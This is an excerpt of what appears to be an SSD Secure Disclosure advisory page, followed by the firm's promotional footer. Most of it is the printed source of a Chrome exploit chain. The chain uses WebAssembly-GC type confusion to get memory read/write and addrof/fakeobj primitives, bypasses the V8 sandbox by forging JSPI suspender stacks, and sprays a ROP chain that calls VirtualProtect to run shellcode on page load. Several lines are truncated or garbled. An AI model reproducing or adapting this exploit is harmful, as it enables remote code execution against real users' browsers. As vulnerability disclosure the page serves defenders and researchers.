2342. builder.addFunction('init_g_arr', $sig_i_v).addBody([
2343.   kExprCallFunction, $fakearr.index,
2344.   kExprGlobalSet, $g_arr.index,
2345.   kExprGlobalGet, $g_arr.index,
2346.   kGCPrefix, kExprArrayLen,
2347. ]).exportFunc();
2348.
2349. builder.addFunction('small_caged_read', $sig_i_i).addBody([
2350.   kExprGlobalGet, $g_arr.index,
2351.   kExprLocalGet, 0,
2352.   ...wasmI32Const(0x480), // 0x474 (MetaMap (null)) + 0xc (entry offset
2353.   kExprI32Sub,
2354.   ...wasmI32Const(2),
2355.   kExprI32ShrU,
2356.   kGCPrefix, kExprArrayGet, $t0_nonnull,
2357. ]).exportFunc();
2358.
2359. builder.addFunction('small_caged_write', $sig_v_ii).addBody([
2360.   kExprGlobalGet, $g_arr.index,
2361.   kExprLocalGet, 0,
2362.   ...wasmI32Const(0x480), // 0x474 (MetaMap (null)) + 0xc (entry offset
2363.   kExprI32Sub,
2364.   ...wasmI32Const(2),
2365.   kExprI32ShrU,
2366.   kExprLocalGet, 1,
2367.   kGCPrefix, kExprArraySet, $t0_nonnull,
2368. ]).exportFunc();
2369.
2370. builder.addFunction('get_externref_arr', $sig_ar_i).addBody([
2371.   kExprLocalGet, 0,
2372.   kGCPrefix, kExprArrayNewDefault, $ar,
2373. ]).exportFunc();
2374.
2375. builder.addFunction('set_externref_arr_last', $sig_v_arr).addBody([
2376.   kExprLocalGet, 0,
2377.   kExprLocalGet, 0,
2378.   kGCPrefix, kExprArrayLen,
2379.   ...wasmI32Const(1),
2380.   kExprI32Sub,
2381.   kExprLocalGet, 1,
2382.   kGCPrefix, kExprArraySet, $ar
2383. ]).exportFunc();
2384.
2385. builder.addFunction('get_externref_arr_last', $sig_r_ar).addBody([

```



```

1.      KGC_PREFIX, kExprArrayGet, &arr
2392.    ].exportFunc();
2393.
2394.    try {
2395.      let instance = builder.instantiate();
2396.      return instance;
2397.    } catch (e) {
2398.      const coll_str = JSON.stringify(coll, (_, v) => typeof v === 'bigint' ?
`0x${v.toString(16)}n` : v);
2399.      console.log(`[!] ${coll_str} failed with error ${e}, try next...`)
2400.    }
2401.  }
2402.
2403.  throw new Error('[!] all collision candidates failed');
2404.})();
2405.
2406.  console.log('[+] collision found, continuing exploit');
2407.  let {
2408.    fakearr, init_g_arr, g_arr,
2409.    small_caged_read, small_caged_write,
2410.    get_externref_arr, set_externref_arr_last, get_externref_arr_last,
2411.  } = instance.exports;
2412.
2413.  function gc() {
2414.    new ArrayBuffer(0x7fe00000);
2415.  }
2416.  gc();
2417.
2418.  let fakearr_len = init_g_arr();
2419.  console.log(`[+] 0x475 <MetaMap (null)> : kWasmI32 array, length =
0x${fakearr_len.toString(16)}`);
2420.
2421.  if (fakearr_len * 4 < 0x10000000) {
2422.    throw new Error('[!] fakearr length too small??');
2423.  }
2424.
2425.  function caged_read(ofs) {
2426.    if (ofs % 4 !== 0 || ofs < 0x480 || fakearr_len <= (ofs - 0x480) / 4) {
2427.      throw new Error('[!] invalid offset 0x${ofs.toString(16)}');
2428.    }
2429.    return small_caged_read(ofs);
2430.  }
2431.
2432.  function caged_write(ofs, val) {
2433.    if (ofs % 4 !== 0 || ofs < 0x480 || fakearr_len <= (ofs - 0x480) / 4) {
2434.      throw new Error('[!] invalid offset 0x${ofs.toString(16)}');
2435.    }
2436.    small_caged_write(ofs, val);
2437.  }
2438.
2439.  let externref_arr = get_externref_arr(0x10000000 / 4);
2440.  set_externref_arr_last(externref_arr, 'a');
2441.  const reference = caged_read(0x10000000 / 2);
2442.  let last_ofs;
2443.  for (last_ofs = 0x10000000 / 2; caged_read(last_ofs) === reference; last_ofs
2444.    console.log(`[+] last_ofs = ${last_ofs.toString(16)}`);
2445.
2446.  function addrof(obj) {
2447.    set_externref_arr_last(externref_arr, obj);

```



```

2454.
2455.     const kHeapObjectTag = 1;
2456.     /// ArrayBuffer-related ///
2457.     const kJSArrayBufferBackingStoreOffset = 0x24;
2458.     const kSandboxSizeLog2 = 40;
2459.     const kSandboxedPointerShift = 64 - kSandboxSizeLog2;
2460.     /// JSPI-related ///
2461.     const kJSPromiseReactionsOrResultOffset = 12;
2462.     const kPromiseReactionFulfillHandlerOffset = 16;
2463.     const kJSFunctionSharedFunctionInfoOffset = 16;
2464.     const kSharedFunctionInfoFunctionDataOffset = 8;
2465.     const kWasmResumeDataSuspendOffset = 4;
2466.     const kWasmSuspendableObjectStackOffset = 4;
2467.     const kWasmSuspendableObjectParentOffset = 8;
2468.     const convab = new DataView(new ArrayBuffer(8));
2469.     function getPtr(obj) {
2470.         return addrof(obj);
2471.     }
2472.     function getField(obj, offset) {
2473.         convab.setInt32(0, caged_read(obj + offset - kHeapObjectTag), true);
2474.         return convab.getUint32(0, true);
2475.     }
2476.     function getField64(obj, offset) {
2477.         convab.setInt32(0, caged_read(obj + offset - kHeapObjectTag), true);
2478.         convab.setInt32(4, caged_read(obj + offset - kHeapObjectTag + 4), true);
2479.         return convab.getBigUint64(0, true);
2480.     }
2481.     function setField(obj, offset, value) {
2482.         caged_write(obj + offset - kHeapObjectTag, value);
2483.     }
2484.     function setField64(obj, offset, value) {
2485.         caged_write(obj + offset - kHeapObjectTag, Number(value & 0xffffffff));
2486.         caged_write(obj + offset - kHeapObjectTag + 4, Number(value >> 32n));
2487.     }
2488.     function abofs(ab) {
2489.         return getField64(addrof(ab), kJSArrayBufferBackingStoreOffset) >>
2490.         BigInt(kSandboxedPointerShift);
2491.     }
2492.     let ab = new ArrayBuffer(0x100000);
2493.     let abofs_orig = abofs(ab);
2494.
2495.     setField64(addrof(ab), kJSArrayBufferBackingStoreOffset, (abofs_orig & ~0xffff
2496.     BigInt(kSandboxedPointerShift));
2497.     let dv = new DataView(ab);
2498.     let chrome_leak = dv.getBigUint64(0x1000, true);
2499.     let ab_leak = dv.getBigUint64(0x1020, true);
2500.     delete dv;
2501.     setField64(addrof(ab), kJSArrayBufferBackingStoreOffset, abofs_orig <<
2502.     BigInt(kSandboxedPointerShift));
2503.
2504.     let ab_base = ab_leak & ~0xffffffff;
2505.     console.log(`[*] ab_leak = 0x${ab_leak.toString(16)}`);
2506.     console.log(`[*] ab_base = 0x${ab_base.toString(16)}`);
2507.     console.log(`[*] chrome_leak = 0x${chrome_leak.toString(16)}`);
2508.
2509.     checkUA(chrome_leak);
2510.     let chrome_base = chrome_leak - base_leak_ofs;

```



```

4.      let dv2 = new DataView(ab);
2515.   for (let i = 0; i < sc.length; i++) {
2516.       dv2.setUint8(i, sc[i]);
2517.   }
2518.
2519.   await new Promise(r => setTimeout(r, 100));
2520.
2521.   // v8sbx bypass via b/384553540 variant regression (introduced due to
https://crrev.com/c/6426203)
2522.   let builder = new WasmModuleBuilder();
2523.   let $suspending = builder.addImport('import', 'suspending', kSig_v_v);
2524.   let $hook = builder.addImport('import', 'hook', kSig_v_v);
2525.   const sprays = Array(0x100).fill(0).map((_, i) => chrome_base + prax_ret + 1r
2526.   // VirtualProtect(ab_ptr, 0xf0000, PAGE_EXECUTE_READ, lpflOldProtect=ab_ptr+0
2527.   let p = 0x40;
2528.   sprays[p--] = chrome_base + pop_gadget;
2529.   sprays[p--] = ab_ptr; // rcx
2530.   sprays[p--] = 0xf0000n; // rdx
2531.   sprays[p--] = 0x20n; // r8 = PAGE_EXECUTE_READ
2532.   sprays[p--] = ab_ptr + 0xf8000n; // r9 = lpflOldProtect
2533.   sprays[p--] = 0n; // r10
2534.   sprays[p--] = chrome_base + prax_ret;
2535.   sprays[p--] = chrome_base + virtualprotect_ia_t_ofs;
2536.   sprays[p--] = chrome_base + jmp_drax;
2537.   sprays[p--] = ab_ptr;
2538.
2539.   builder.addFunction("spray_and_call", kSig_v_v).addBody([
2540.       ...sprays.flatMap((v) => [...wasmI64Const(v ^ 0x4242000000000000n),
...wasmI64Const(0x4242000000000000n), kExprI64Xor]),
2541.       kExprCallFunction, $hook,
2542.       ...Array(0x100).fill(kExprDrop),
2543.   ]).exportFunc();
2544.   builder.addFunction("func", kSig_v_v).addBody([
2545.       kExprLoop, kWasmVoid,
2546.       kExprCallFunction, $suspending,
2547.       kExprBr, 0,
2548.       kExprEnd,
2549.   ]).exportFunc();
2550.
2551.   function hook_fn() {
2552.       if (hook_fn.fn) {
2553.           return hook_fn.fn();
2554.       }
2555.   }
2556.   let suspending_fn = new WebAssembly.Suspending(hook_fn);
2557.   let instance1 = builder.instantiate({ import: { suspending: suspending_fn, ho
});
2558.   let { spray_and_call, func } = instance1.exports;
2559.   let promising_func = WebAssembly.promising(func);
2560.
2561.   function get_resume(promise) {
2562.       let promise_reaction = getField(getPtr(promise), kJSPromiseReactionsOrResul
2563.       let resume_handler = getField(promise_reaction, kPromiseReactionFulfillHand
2564.       return resume_handler;
2565.   }
2566.
2567.   function get_suspender(promise) {
2568.       let resume_handler = get_resume(promise);
2569.       let resume_sfi = getField(resume_handler, kJSFunctionSharedFunctionInfoOffs

```



```

2576.     function rec(n, fn) {
2577.         if (n <= 0) {
2578.             fn();
2579.             return;
2580.         }
2581.         rec(n - 1, fn);
2582.     }
2583.
2584.     let { promise: promise3, resolve: resolve3 } = Promise.withResolvers();
2585.     let { promise: promise4, resolve: resolve4 } = Promise.withResolvers();
2586.     let suspender0, suspender1, suspender2, suspender3, suspender4;
2587.     hook_fn.fn = () => {
2588.         console.log('[*] hook #0');
2589.         hook_fn.fn = () => {
2590.             console.log('[*] hook #1');
2591.             hook_fn.fn = () => {
2592.                 console.log('[*] hook #2');
2593.                 hook_fn.fn = () => {
2594.                     // (js)->s0->s1->s2->s3
2595.                     console.log('[*] hook #3-0');
2596.                     return promise3;
2597.                 };
2598.                 promising_func();
2599.
2600.                 // acquire references to suspenders
2601.                 suspender3 = fakeobj(get_suspender(promise3));
2602.                 suspender2 = fakeobj(getField(addrrof(suspender3), kWasmSuspenderObjectE
2603.                 suspender1 = fakeobj(getField(addrrof(suspender2), kWasmSuspenderObjectE
2604.                 suspender0 = fakeobj(getField(addrrof(suspender1), kWasmSuspenderObjectE
2605.
2606.                 // resume promise3
2607.                 hook_fn.fn = () => {
2608.                     console.log('[*] hook #3-1: forging suspender stack');
2609.
2610.                     // forge suspender3.stack = suspender1.stack
2611.                     setField(addrrof(suspender3), kWasmSuspenderObjectStackOffset,
2612.                     getField(addrrof(suspender1), kWasmSuspenderObjectStackOffset));
2613.
2614.                     // WasmSuspend will now return to suspender1.stack.parent => suspender0
2615.                     skipping suspender2 and suspender1 =====>
2616.                     };
2617.                     fakeobj(get_resume(promise3))();
2618.                     console.log('[!] suspender2: UNREACHABLE');
2619.                     };
2620.                     promising_func();
2621.                     console.log('[!] suspender1: UNREACHABLE');
2622.                     };
2623.                     rec(0x4, promising_func); //
2624.
2625.                     <=====
2626.                     console.log('[*] suspender0: returned directly from suspender3, skipping su
2627.
2628.                     // return to invalidly suspended central stack
2629.                     hook_fn.fn = () => {
2630.                         console.log('[*] spray_and_call: spray ready, call');
2631.                         hook_fn.fn = () => {
2632.                             console.log('[*] hook #4-0');
2633.                             return promise4;
2634.                         };
2635.                         promising_func();

```




```

2637.         console.log('[!] hook #4-1: logging suspender stack');
2638.
2639.         // forge suspender4.stack = suspender2.stack
2640.         setField(addrof(suspender4), kWasmSuspenderObjectStackOffset,
2641.         getField(addrof(suspender2), kWasmSuspenderObjectStackOffset));
2642.
2643.         // WasmSuspend will now return to suspender2.stack.parent => suspender1
2644.         };
2645.         fakeobj(get_resume(promise4))();
2646.         console.log('[!] spray_and_call: UNREACHABLE');
2647.         }
2648.         spray_and_call();
2649.         console.log('[!] suspender0: UNREACHABLE');
2650.         };
2651.         promising_func();
2652.         console.log('[!] root: UNREACHABLE');
2653.     }
2654.
2655.     window.onload = async () => {
2656.         try {
2657.             await exp();
2658.         } catch (e) {
2659.             console.log(e.toString());
2660.             throw e;
2661.         }
2662.     }
2663. }
2664.
2665. </script>
2666. </body>

```

Researching Chrome? Have a similar vulnerability you are looking to share? [Let's get the conversation going!](#)

SSD commits to the best payouts in the industry, easy and fast [submission process](#) and the option to stay completely anonymous.

Since 2007, **SSD Secure Disclosure** has been helping security researchers turn their findings into thriving careers.

Explore our [constantly expanding product scope](#) – updated monthly with new products and vendors.



Get in touch

Any questions? Interested in our services?
We'd love to hear from you

CONTACT US

